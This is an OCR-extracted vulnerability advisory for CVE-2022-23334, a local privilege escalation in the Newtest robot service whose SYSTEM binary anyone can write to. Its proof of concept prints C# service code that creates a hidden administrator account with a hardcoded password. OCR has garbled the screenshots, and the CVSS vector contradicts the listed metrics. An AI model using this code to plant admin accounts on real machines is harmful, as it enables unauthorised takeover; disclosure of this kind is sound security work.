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1. SUMMARY

1.1.Context

Product description™:

Ekara private Platform / Newtest is a tool that allows to measure the availability, performance, and
response times of critical transactions. It uses representative locations within the company to
regularly simulate business transactions and provide real-time insights into the availability,
response times, and performance of critical application services.

1.2.Description

The Newtest robot creates a privileged service “NEWTESTRemoteManager” (as NT Authority\System)
through the binary “NEWTESTREMOTEMANAGER.exe” writeable by everyone with no integrity check.

1.3.Products and versions affected

Affected products:

> Newtest 8.4R0 and earlier.

1.4.Impact

Any local user can become administrator by replacing the legitimate binary with a crafted malicious one.

1.5.Mitigations

Users who still use an older version of the product are strongly invited to upgrade to the latest version
available at the author's site.

1.6.Disclosure timeline

DATE EVENT

2021-08-03 Initial discovery.

2021-10-13 Initial contact to vendor.

2021-12-03 Vulnerability acknowledged by the vendor.
2022-07 Fix published by the vendor.

2023-01 Public disclosure.

' https://www.ip-label.fr/notre-solution-newtest
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2.1.Vulnerability details

The vulnerability is caused by a privileged service running as NT AUTHORITY\SYSTEM which can be
manipulated by any local user.

2.2.Proof of concept

To exploit this vulnerability, an attacker could proceed as follow:

1. Modify the binary NEWTESTREMOTEMANAGER.EXE by a malicious one:

| |£| = | Gérer
Accueil Partage Affichage Quitils d’application
<« v 4 » CePC » (C:) » Mewtest » Robot » EXE
Nom - Modifié le Type Taille
o Accés rapide i) NEWTESTREMOTEADMIN 14/12/202011:29  Application 1144 Ko
I Bureau 4 | ] NEWTESTREMOTEADMIN.NODATADIR 14/12/2020 10:54 Fichier NODATADIR 0 Ko
Téléchargement: #  [8] NEWTESTREMOTECMD 14/12/2020 11:28 Application 1628 Ko
9
B Documents P @ NEWTESTREMOTECONSOLE 14/12/2020 11:28 Application 1860 Ko
p— [#5] NEWTESTREMOTEMANAGER 14/12/2020 11:28 Application 2064 Ko
= Images o
NTER W1 Propriétés de : NEWTESTREMOTEMANAGER X [ier NO_RELAY.. 0Ko
) plication 6 Ko
Pentest_temporaire | Gengral Compatiité  Signatures numériques  Sécunté  Détalls Versions précédentes  [plication 287Ko
Robot Nom de I'objet : |C:\Newtest\Robot\EXE\NEWTESTREMOTEMANAGER EXE | plication 272 Ko
sCreens Noms de groupes ou d'utiisateurs plication 172 Ko
[ CePC m Utilisateurs authentifiés plication 3788Ko
T ] plication 75 Ko
W Bureau \Administrateurs) hier CONFIG 1Ko
] Documents \Utiisateurs) lension de I'app... 28 Ko
&= Images hier COMDLL 0Ke
J’i Musique Pour modifier les autorisations, cliquez sur Modifier. 9!! i ension de I'app... 60 Ko
) Objets 3D ension de 'app... 780 Ko
<‘v Téléchargements Autorisations pour Litiisateurs authentifiés Autoriser  Refuser gnsion de Fapp... 160Ko
- ension de I'app... 208 Ko
B vidéos Contrdle total
i 52
" ©) Modfication lension de l'app... 152 Ko
- Tecture ef exection lension de I'app... 1380 Ko
= Lecteur USB (E) Lecture plication 120 Ko
Lecteur USB (E:) Ecriture ension de I'app... 224 Ko
Autorisations spéciales plication 428 Ko
¥ Réseau ! -
Pour les autorisations spéciales et les paramétres avancés, cliquez sur S pEon defFapp-.. 1920Ko
Avancé. ension de I'aop... 252 Ko
350 élément(s) 1 élément g
Rights on the binary « NEWTESTREMOTEMANAGER.EXE »
public static void createUser (string Name, string Pass)
{
try
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DirectoryEntry AD = new DirectoryEntry ("WinNT://" +

Environment.MachineName + ",computer");
DirectoryEntry NewUser = AD.Children.Add (Name, "user");
NewUser.Invoke ("SetPassword", new object[] { Pass });
NewUser.Invoke ("Put", new object[] { "Description", "Privesc" });
NewUser.CommitChanges () ;

DirectoryEntry grp;

grp = AD.Children.Find("Administrateurs", "group");
if (grp != null) { grp.Invoke ("Add", new object[] { NewUser.Path.ToString() }); }
Console.ReadLine () ;
}
catch (Exception ex)
{
Console.WritelLine (ex.Message) ;

Console.ReadLine();

protected override void OnStart(string[] args)

{
createUser ("Iamgroot", "AdmGr00tl23!");

Code extract of the malicious service

2. After replacing the binary with an unprivileged account (renamed then replaced), then restarting
the machine, the account is successfully created on the machine:

*hostname

/noprofile /user J I .1amgroot cmd

le mot de passe de | I=mgroot
ve de lancement de cmd en tant qu’utilisateur [ 1amgroot”

Use of « runas » command on the machine
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utilisa
ou de la

Mot de

Le mot

autorisé

Tout
roupes lo *Administrateur
“Aucun

=
=

Use of « whoami » command on the machine

We noticed the presence of an "ip-label" certificate application’s binaries, which shows a desire to deal
with the integrity of these files:

wh Certificat

X
Général Compatibité ~Signatures numéniques  Sécurté  Détails  Versions précédentes Général  Avance Général  Détalls | Chemin daccés de certification
Liste des signatures -, Informations sur la signature numérique
JJQ, Un certificat requis n'est pas dans sa période de validité selon .!;,f_; Informations sur le certificat
Nom du signatair.. Algorthme Digest ~ Horodateur la vérification par rapport & Ihorloge systéme en cours ou le -
ta daté dang le fichi é.
iplabel shal Non disporible mPon GeE dans I femer sine La date de ce certificat a expiré ou il n'est plus valide.
Informations sur le signatsire
Nom : fipabel
Adresse de —
Mmessagerie : [pon disprible
o | Date de i i
Détails 1 signature : |Non disponible

Afficher le certificat Délivré a: ipdabel

Contre-signatures

Délivré par Symantec Class 3 SHA256 Code Signing CA
Nom du signatai... Adresse de mes... Horodateur

[valide du 17/05/2018 au 17/05/2021 |

Installer un certificat. .. Dédaration de I'émetteur

OK Annuler

Certificate configuration for the binary « NEWTESTREMOTEMANAGER.EXE »

However, the certificate issued by Symantec and delivered to the "ip-label" entity was expired at the time
of testing.

ﬂ \/
2021-08-03 , \
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2.3.Risk characterization

Exploitability: 2.9 Impact: 4.3
Attack Vector Local Scope Changed
Base Score Attack Complexity Low Confidentiality High
Privileges Required Low Integrity High
User Interaction None Availability High
Temporal Exploit Code Maturity ~ Functional Remediation Level Workaround
Score Report Confidence Confirmed
Confidentiality Not Defined Availability Not Defined
Environmental Requirement Requirement
Score Integrity Not Defined

Requirement

CVSS:3.1/AV:N/AC:L/PR:N/UL:R/S:U/C:L/1:H/A:N

2.4.References

>X MITRE, CVE-2022-23334 :

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-23334
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